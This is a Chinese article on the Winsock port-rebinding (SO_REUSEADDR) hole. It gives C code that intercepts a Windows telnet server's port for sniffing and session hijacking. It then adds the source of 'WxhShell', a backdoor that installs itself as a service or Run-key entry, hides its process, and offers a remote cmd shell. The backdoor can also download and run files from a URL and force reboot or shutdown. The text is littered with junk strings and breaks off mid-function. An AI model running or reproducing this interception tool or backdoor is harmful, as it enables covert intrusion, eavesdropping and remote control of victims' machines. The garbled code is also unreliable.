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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
y`iBFC;_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gE'sOT9v ,O5NLg- saddr.sin_family = AF_INET; E*&vy Ha#=(9. saddr.sin_addr.s_addr = htonl(INADDR_ANY); d2FswF$C -
nm"of\o bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2YL?,uLS +bxYGD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &$BjV{,/zc 1y&\5kB 这意味着什么?意味着可以进行如下的攻击: @3i\%R)n; bG"~"ipn% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >IafUy _rMg}F" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AF{\6<m yZ7&b&2nLn 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (y'hyJo zC:ASt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b)#hSjWO# OG~gFZr)6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n)/z0n!\ r+!YIk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \<h0Q,e gk4;>} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z3e| UAif 8LJ8
}%* #include &,vcJ{. #include ,oe < #include J-:.FKf\5l #include T wB}l DWORD WINAPI ClientThread(LPVOID lpParam); nUr5Qn? int main() 8$cLG*=h4 { 9)yJ:
N#F WORD wVersionRequested; .~db4d] DWORD ret; KM0ru WSADATA wsaData; L<S9 BOOL val; qArM|\l1 SOCKADDR_IN saddr; }v;V=%N+v SOCKADDR_IN scaddr; ~Gp[_ %K int err; yf)%%& SOCKET s; 3Aip}<1 SOCKET sc; Mexk~zA^ int caddsize; ;a!S!%.h HANDLE mt; S>+|OCl"; DWORD tid; OKZV{Gja wVersionRequested = MAKEWORD( 2, 2 ); PNhe err = WSAStartup( wVersionRequested, &wsaData ); A|[?#S((] if ( err != 0 ) { @u+]aI!`- printf("error!WSAStartup failed!\n"); eeg)N1\ return -1; fb7; |LF
} G>_*djUf saddr.sin_family = AF_INET; ]#<4vl\ ]EbM9Fo-U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7Die
FZ? eIF5ZPSZi saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?,Xw[pR saddr.sin_port = htons(23); je-!4r, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5pG}Yk_(x { tFn)aa~L printf("error!socket failed!\n"); n8 0?N}
return -1; JG.y,<xW } gaxsv[W>^ val = TRUE; +^ac'Y)A //SO_REUSEADDR选项就是可以实现端口重绑定的 q_8+HEvo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A 'be8 { ;+_:,_ printf("error!setsockopt failed!\n"); Q} JOU return -1; ^e5=hH-% } |i*37r6]= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u#fM_>ML //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /62!cp/F/D //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,KZ~?3$yj TqQB@-! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /HEw-M9z { j;Gtu ret=GetLastError(); 7WqH&vU| printf("error!bind failed!\n"); wu6;.xTLl return -1; Paq4 } g-k|>-h listen(s,2); nAato\mM while(1) j_[tu!~ { +E+p"7 caddsize = sizeof(scaddr);
**0~K" ;\ //接受连接请求 Wi<m{.%\E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @{e}4s?7od if(sc!=INVALID_SOCKET) ]q[D>6_ { l'1pw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~/U1xk% if(mt==NULL) [aLI
' { @bLy,Xr& printf("Thread Creat Failed!\n"); B@))8.h] break; 2.y-48Nz } dQX6(Jj } 59L\|OR CloseHandle(mt); v~C
Czg } :4w ?# closesocket(s); U>SShpmZA WSACleanup(); Vt~{Gu-Y return 0; }6~hEc*/" } M0"_^? DWORD WINAPI ClientThread(LPVOID lpParam) y<3-?}.aZ { #z%fx
SOCKET ss = (SOCKET)lpParam; est9M*Fn SOCKET sc; Kw^ 7>\ unsigned char buf[4096]; aO[w/cGQ SOCKADDR_IN saddr; 1.hyCTnI long num; Ee#q9Cx^J DWORD val; hfB%`x#akQ DWORD ret; }v{LRRi //如果是隐藏端口应用的话,可以在此处加一些判断 3 \,4 ]l|
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 7EEl+;wK saddr.sin_family = AF_INET; LOYk9m saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G!##X: 6' saddr.sin_port = htons(23); C.P*#_R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MjRHA^b { e%M;?0j printf("error!socket failed!\n"); =XQ%t
@z0 return -1; RP|`HkP-2 } ?z+eWL val = 100; {YC@T(
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]/6z;
~3U { Ix}sK"}[n ret = GetLastError(); e`s
~.ZF return -1; >R_&Ouh: } G_JA-@i% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _LnpnL: { . Efk* ret = GetLastError(); v1JzP# return -1; ~ Iuf}D; } c6]U E@A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s8Q 5ui] { :-Z2:/P printf("error!socket connect failed!\n"); qR{=pR closesocket(sc); hfTY. closesocket(ss); ?^{Ah}x return -1; Izc\V9+ } IOH}x4 while(1) kD%( _K5 { B6 ;|f'e! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 } OR+Io //如果是嗅探内容的话,可以再此处进行内容分析和记录 j (d~aqW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "k@/3 num = recv(ss,buf,4096,0); \)[j_^ if(num>0) & .j&0WE send(sc,buf,num,0); ?V=ZIGj else if(num==0) JbbzV> break; *^4"5X@ num = recv(sc,buf,4096,0); eByz-,{P if(num>0) _H%c;z+ send(ss,buf,num,0); A)!*]o>U else if(num==0) O bS3
M break; !.gIHY } ITBE|b closesocket(ss); p
l0\2e) closesocket(sc); 3$R1ipb return 0 ; e !Y~Qy } !pW0qX\1n T^KKy0ZGM 59A}}.@?m ========================================================== )akoa,#%6c {tZ.v@ 下边附上一个代码,,WXhSHELL 4$<JHo
@. cq]6XK-W ========================================================== L2z[ SnfYT)Ph #include "stdafx.h" \2$|Ei7 \8cx6 G' #include <stdio.h> w@E3ZL^ #include <string.h> niyV8v #include <windows.h> FZlWsp= #include <winsock2.h> 6{b>p+U #include <winsvc.h> >bW#Zs,6 #include <urlmon.h> da(<K} PZ9I`P!C #pragma comment (lib, "Ws2_32.lib") tsjrRMR #pragma comment (lib, "urlmon.lib") cwg"c4V z:*|a+cy #define MAX_USER 100 // 最大客户端连接数 D,feF9 #define BUF_SOCK 200 // sock buffer ,qxu|9L #define KEY_BUFF 255 // 输入 buffer bn5 Su=] 25?6gu*Z #define REBOOT 0 // 重启 ICQKP1WFp #define SHUTDOWN 1 // 关机 .q>iXE_c C'x&Py/# #define DEF_PORT 5000 // 监听端口 :o3N;*o>)0 +e``OeXog #define REG_LEN 16 // 注册表键长度 L,!?Nt\ #define SVC_LEN 80 // NT服务名长度 GTd,n= #6= // 从dll定义API rILYI;'o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lf,5w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ms]sD3z/W+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7<R E_/] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4r}51 N\ ?@86P|19 // wxhshell配置信息 %ET+iIhK struct WSCFG { g7H(PF? int ws_port; // 监听端口 Z T%5T}i char ws_passstr[REG_LEN]; // 口令 /N{*"s2) int ws_autoins; // 安装标记, 1=yes 0=no (LCfUI6; char ws_regname[REG_LEN]; // 注册表键名 })%{AfDRF char ws_svcname[REG_LEN]; // 服务名 JZx[W&]zT char ws_svcdisp[SVC_LEN]; // 服务显示名 upmx $H> char ws_svcdesc[SVC_LEN]; // 服务描述信息 &D<y X~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y9ZvV0 int ws_downexe; // 下载执行标记, 1=yes 0=no !a\^Sk
/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 75lA%|
*X char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N!}f}oF %N._w!N<5n }; ]-#DB^EQ uY To9A // default Wxhshell configuration W>r+h-kR struct WSCFG wscfg={DEF_PORT,
J&_n9$ "xuhuanlingzhe", Pq$n5fZC! 1, 9(Xn>G'iT "Wxhshell", Di{de` "Wxhshell", wCBplaojJ "WxhShell Service", :ws<-Qy "Wrsky Windows CmdShell Service", At;LO9T3z "Please Input Your Password: ", h?U
O&( 1, "{t$nVJ " http://www.wrsky.com/wxhshell.exe", P%n>Tg80M "Wxhshell.exe" a<e[e> }; SpBy3wd ~xTt204S // 消息定义模块 -9?]IIVb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;_=&-mz char *msg_ws_prompt="\n\r? for help\n\r#>"; o mx= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Mtx 4'WZ char *msg_ws_ext="\n\rExit."; ~W/z96'
5 char *msg_ws_end="\n\rQuit."; V7/Rby Q char *msg_ws_boot="\n\rReboot..."; h";L char *msg_ws_poff="\n\rShutdown..."; 53h0UL char *msg_ws_down="\n\rSave to "; DlJo^|5 *T1_;4i char *msg_ws_err="\n\rErr!"; {!`6zBsP char *msg_ws_ok="\n\rOK!"; HzJz+ x: lOp`m8_= char ExeFile[MAX_PATH]; 8@R|Km5h int nUser = 0; Fr-SvsNFB HANDLE handles[MAX_USER]; 7tp36 TE int OsIsNt; 3so%gvY.' l]SX@zTb SERVICE_STATUS serviceStatus; j~MI<I+l[ SERVICE_STATUS_HANDLE hServiceStatusHandle; WIGi51yC.x rJB}qYD // 函数声明 Z_NCD`i; int Install(void); =_^X3z0 int Uninstall(void); *
y,v}- int DownloadFile(char *sURL, SOCKET wsh); *^`Vz?g< int Boot(int flag); pj(,Zd[47 void HideProc(void); LP=)~K< int GetOsVer(void); RnN!2K int Wxhshell(SOCKET wsl); W,u:gzmhw void TalkWithClient(void *cs); [Rb+q=z# int CmdShell(SOCKET sock); j8gdlIx int StartFromService(void); zuCSj~ int StartWxhshell(LPSTR lpCmdLine); ,!9zrYi} mE[y SrV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2g<Xtt7+o VOID WINAPI NTServiceHandler( DWORD fdwControl ); An@t?#4gxi ssL\g`xe // 数据结构和表定义 xSu > SERVICE_TABLE_ENTRY DispatchTable[] = ,r}6iFu { wIgS3K {wscfg.ws_svcname, NTServiceMain}, Bw.i}3UT6 {NULL, NULL} 4p wH>1 }; 73-p*o(pt q(w(Sd)#L // 自我安装 X>^fEQq" int Install(void) tJmTBsn { JXxwr)i char svExeFile[MAX_PATH]; ~J]qP #C HKEY key; fQFk+C strcpy(svExeFile,ExeFile); XPPdwTOr '%;m?t%q // 如果是win9x系统,修改注册表设为自启动 ^J{:x if(!OsIsNt) { PY'2h4IL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y7<|_:00 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CJyevMf' RegCloseKey(key); +[ZY:ZQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #9s,#
} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (k P9hcV RegCloseKey(key); xD 7]C|8o return 0; /{2,zW } kx CSs7J/ } a9Vi]; } JGZBL{8 else { n"8Yv~v*2j EX"yxZ~ // 如果是NT以上系统,安装为系统服务 K NOIZj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @F>D+=hS if (schSCManager!=0) [>9is=>o. { >mkFV@` SC_HANDLE schService = CreateService jWgX_//! ( H/Jbk*Q schSCManager, +|f@^- wscfg.ws_svcname, YYS0` wscfg.ws_svcdisp, O0:q;<>z SERVICE_ALL_ACCESS, |BYRe1l6l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ykJ>*z SERVICE_AUTO_START, C,zohlpC SERVICE_ERROR_NORMAL, )B*t
:tN svExeFile, kf9X$d6 NULL, [><Tm\(: NULL, Lj7AZ|k NULL, ^^Vg~){4 NULL, tBSW|0 NULL R!1p^~/ ); {)Xy%QV if (schService!=0) &j6erwaT { 62u4-}JzF CloseServiceHandle(schService); ?4uL-z](V CloseServiceHandle(schSCManager); cb bFw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5 -qZ{W strcat(svExeFile,wscfg.ws_svcname); r<\u6jF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,z6~?6m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0`H#
'/ RegCloseKey(key); M\=2uKG# return 0; 1*7@BP5 } kcEeFG;DQ } ('~LMu_ CloseServiceHandle(schSCManager); @nf`Gw ; } V6Dbd"
i9 } tp|d*7^i $Q0n return 1; 31)&vf[[ } fy$1YI>!Q 6B-16 // 自我卸载 t,'<gI int Uninstall(void) JtZ7ti { =M-p/uB] HKEY key; wY}@'pzX s^SJY{ if(!OsIsNt) { ]^]wP]R_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t<qiGDJ<d RegDeleteValue(key,wscfg.ws_regname); nFn5v'g RegCloseKey(key); N g,j# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.Mry`9- RegDeleteValue(key,wscfg.ws_regname);
5dg(e3T RegCloseKey(key); p[cX O= return 0; adw2x pj } .(vwIb8\_ } .V*^|UXbHi } v,t:+
!8 else { W!<U85-#S r*Xuj= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 28nFRr if (schSCManager!=0) SAz { =">NQ)98u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mp]rUPK if (schService!=0) pJ{Y
lS{ { < vP=zk if(DeleteService(schService)!=0) { ?#fQ~ s CloseServiceHandle(schService); snJ129}A CloseServiceHandle(schSCManager); 7o4\oRGV return 0; '<M{)? } uq{beC CloseServiceHandle(schService); ?4B`9<j8% } cNH7C"@GVu CloseServiceHandle(schSCManager); _G0x3 } ~5g ~;f[4 } r/1(]#kOX [
3HfQ return 1; 8_F1AU? u } <QvOs@i*
@8
6f // 从指定url下载文件 A=4OWV? int DownloadFile(char *sURL, SOCKET wsh) /j^ { 0`hdMLONR HRESULT hr; n*$ g]G$ char seps[]= "/"; Je{ykL?N char *token; v2?ZQeHr_( char *file; 5)E @F9N char myURL[MAX_PATH]; ry!!9Z>9n char myFILE[MAX_PATH]; W4N{S.#! F5Va+z,jg strcpy(myURL,sURL); +q oRP2 token=strtok(myURL,seps); b]y2+A.n while(token!=NULL) _g.{MTQ { f5r0\7y0 file=token; Z}QB.$& token=strtok(NULL,seps); % `3jL7| } xfQ1T)F3g [vgtc.V GetCurrentDirectory(MAX_PATH,myFILE); 7 3m1 strcat(myFILE, "\\"); $^P0F9~0 strcat(myFILE, file); ZW}_DT0 send(wsh,myFILE,strlen(myFILE),0); l,8##7 send(wsh,"...",3,0); MPV5P^@X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #F#%`Rv1 if(hr==S_OK) nK,w]{<wG! return 0; hQi2U else }*-@!wc-N return 1; 9iq_rd] Uv.)?YeGh } nlYNN/@" ..qCPlK; // 系统电源模块 YMgNzu int Boot(int flag) G?ZXWu. { 8RX&k HANDLE hToken; uS-|wYE TOKEN_PRIVILEGES tkp; 2?5>o!C q@qsp&0/ if(OsIsNt) { /ouPg=+Nl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e!Hh s/&!T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P%6~&woF tkp.PrivilegeCount = 1; :
'c&,oLY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xmG<]WF>E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -%~4W? if(flag==REBOOT) { M{\I8oOg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q@&6#B return 0; R@0R`Zs } p[-O( 3Y else { 1,~D4lD| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y^k$Us return 0; 8QK&_n* } Gq6*SaTk } <UI
[%yXj else { <[phnU^
8 if(flag==REBOOT) { s S
Mh`4' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (ZGbhMK return 0;
<Uur^uB } y(&Ac[foS} else { 6mE\OS-I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y2v^-q3 return 0; iwq!w6+ } F:VIzyMq< } XuTD\g3) @,}UWU return 1; DqPw#<"H } !<oe=)Iz| So;<6~ // win9x进程隐藏模块 .6> w'F{> void HideProc(void) R/_&m$ZB { %C0Dw\A*: ibw;}^m( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D@KlOU{< if ( hKernel != NULL ) B1gR5p 0 { E@\e$?*X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LscGTs, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GB^B r6 FreeLibrary(hKernel); 9$Y=orpWxr } i1085ztN H::bwn`Vc return; CAlCDfKW} } @d_M@\r=j +_`7G^U?% // 获取操作系统版本 E{\2='3\ int GetOsVer(void) Y@v>FlqI{ { YQ}o?Q$z OSVERSIONINFO winfo; . me;.,$# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .X&9Q9T=# GetVersionEx(&winfo); ^pS~Z~[d/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
jo7\`#(Q return 1; t:S+%u U else gr{ DWCK return 0; =AT."$r>
} So6x"1B IgzQr > // 客户端句柄模块 3R/bz0 V> int Wxhshell(SOCKET wsl) 'R)Tn!6 { NHt\
U9l' SOCKET wsh; rjP/l6
~' struct sockaddr_in client; 3^ClAE"8 DWORD myID; 7=uj2.J6 JT?h1v<H] while(nUser<MAX_USER) WA qINLdX { _g8yDfcLG int nSize=sizeof(client); J4'eI[73 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y7{?Ip4[ if(wsh==INVALID_SOCKET) return 1; yauvXosX [UR-I0 s!/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @iiT< if(handles[nUser]==0) /1 dT+> closesocket(wsh); ^
9sjj else W)/#0*7 nUser++; 5G#n"}T } }vuARZ> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K"6vXv4QO iscz}E,Y return 0; `V1]k_h } qK+5NF| Sdo-nt // 关闭 socket UG^q9 :t void CloseIt(SOCKET wsh) l{9Y { Wqnc{oq|$ closesocket(wsh); Sz~OX6L nUser--; `L
zPotz ExitThread(0); wzA$'+Mb } =|=(l)8 &m3lXl // 客户端请求句柄 bcyzhK= void TalkWithClient(void *cs) y-k.U% { [0of1eCSl v19-./H^
j SOCKET wsh=(SOCKET)cs; 4*L_)z&4; char pwd[SVC_LEN]; gR**@t=;j char cmd[KEY_BUFF]; DXo|.!P=3 char chr[1]; #E?4E1bnB int i,j; %>yL1BeA4 >?b!QU*a while (nUser < MAX_USER) { #WuBL_nZ~ u,
ff>/1 if(wscfg.ws_passstr) { 3]>| i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0sqFF[i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >z03{=sAN //ZeroMemory(pwd,KEY_BUFF); ]]mJ']l i=0; sK{e*[I>W while(i<SVC_LEN) { 9x8fhAy}4 5R-6ji // 设置超时 sB</DS fd_set FdRead; XSDpRo struct timeval TimeOut; '%qr.T
% FD_ZERO(&FdRead); Ri{=]$ FD_SET(wsh,&FdRead); r$1Qf}J3= TimeOut.tv_sec=8; |>Vb9:q9Po TimeOut.tv_usec=0; )4OxY[2J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *hx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d$RIS+V 2T35{Q!=F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eavV?\uV% pwd =chr[0]; 1^}+=~ if(chr[0]==0xd || chr[0]==0xa) { |=w@H]r pwd=0; f 2.HF@ break; \zkg } @- xjfC\d i++; ^y::jK } G2D$aSh ,hVli/
// 如果是非法用户,关闭 socket x4 yR8n( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pb}*\/s } &HW9Jn O?2DQY?jT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +R &gqja send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uph(V *T/']t while(1) { Wc#24:OKe3 +2{Lh7Ks ZeroMemory(cmd,KEY_BUFF); 6t$8M[0-U khe}*y // 自动支持客户端 telnet标准 u[YGm:} j=0; L_T5nD^D while(j<KEY_BUFF) {
)2.Si# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UfGkTwoo= cmd[j]=chr[0]; 29KiuP if(chr[0]==0xa || chr[0]==0xd) { XwmL.Gg:]7 cmd[j]=0; [~HN<>L@C break; W4S,6( } <YY 14p j++; >Ry01G]_/h } *pq\MiD/ !a`&O-ye // 下载文件 N)T}P\l if(strstr(cmd,"http://")) { ]esC[r]PJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^sw?gH* if(DownloadFile(cmd,wsh)) EwN}l send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOp\91
else wT@og|M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d-qUtgqV86 } b9krOe*j else { S'" Df5 6Oq7#3] switch(cmd[0]) { UNYqft4 CTb%(<r // 帮助 (zk"~Ud case '?': { oU8q o-J1H send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w<#!h6Y= break; +[VXs~I
q } Psf#c:*_) // 安装 kmW4:EA% case 'i': { Y4-t7UlS; if(Install()) 'DR!9De send(wsh,msg_ws_err,strlen(msg_ws_err),0); eFgA 8kY) else ^[[P*NX3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ax`o>_) break; wMn
i } Tk}]Gev // 卸载 j%kncGS case 'r': { (=0.in Z if(Uninstall()) ~$'awY send(wsh,msg_ws_err,strlen(msg_ws_err),0);
];m_4 else LV Ge]lD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xvu(vA break; tw;}jh } 1Mzmg[L8 // 显示 wxhshell 所在路径 'L'R9&o<X case 'p': { f|5co>Hk char svExeFile[MAX_PATH]; -RwE%cr strcpy(svExeFile,"\n\r"); 1zv'.uu., strcat(svExeFile,ExeFile); :;}P*T*PU send(wsh,svExeFile,strlen(svExeFile),0); %J(:ADu] break; W\3X=@|u) } Y<OFsWYY // 重启 nlP;nl W case 'b': { ~ljXzD93Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0J9x9j`&j if(Boot(REBOOT)) P:c w|Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3\AY30L else { 54T`OE
= closesocket(wsh); /m1\ iM\ ExitThread(0); zX[U~. } ';CNGv - break; 0mE 0 j } pBHRa?Y5 // 关机 x5Bk/e' case 'd': { 3og.y+.=U. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZK,G v if(Boot(SHUTDOWN)) 6P3*Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sjqpec8 else { 9[4xFE?| closesocket(wsh); Wr
4,YQM ExitThread(0); XFl6M~ c } >MZ/|`[M break; h p1Bi } D.:Zx // 获取shell 4hB]vY\T case 's': { j2k"cmsKh CmdShell(wsh); wk^B"+Uhy closesocket(wsh); IGl9g_18 ExitThread(0); M`_0C38
break; J.a]K[ci } x2xRBkRg= // 退出 V3Bz
Mw\9r case 'x': { >4TO=i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i-1op> Y CloseIt(wsh); &C}*w2]0S break; =_CzH(=f# } rq{$,/6. // 离开 }BEB1Q}L case 'q': { w;M#c
Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); 81F9uM0 closesocket(wsh); vM={V$D& WSACleanup(); pa+hL,w{6 exit(1); :OT& break; M\j.8jG } _ q"Gix } }f ?y*
H } mH(:?_KrS- zLQx%Yg! // 提示信息 }MySaL> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w0.
u\ } + {]j]OP } k$Vl fQ'+ ]Ljf?tk return; %d@z39-; } [),ige C!gZN9- // shell模块句柄 Ry&6p>- int CmdShell(SOCKET sock) tbr=aY$jY { X}]-*T|a STARTUPINFO si; R2NZ{"h
ZeroMemory(&si,sizeof(si)); 6Wn1{v0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4+n\k si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;uW FHc5@B PROCESS_INFORMATION ProcessInfo; ib m4fa char cmdline[]="cmd"; pH;%ELZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hH.G#-JO return 0; ~*7]r`6\@ } GgU/!@ g(g& TO // 自身启动模式 [g,}gyeS( int StartFromService(void) \V:^h[ad { z:O8Ls^\T typedef struct )7@0[> { )oZ dj` DWORD ExitStatus; lZ0 =;I DWORD PebBaseAddress; *p d@.|^)m DWORD AffinityMask; ]:;&1h3'7 DWORD BasePriority; }H4RR}g ULONG UniqueProcessId; %O<BfIZ ULONG InheritedFromUniqueProcessId; Cx"sw
} } PROCESS_BASIC_INFORMATION; xno\s.H%] =1!
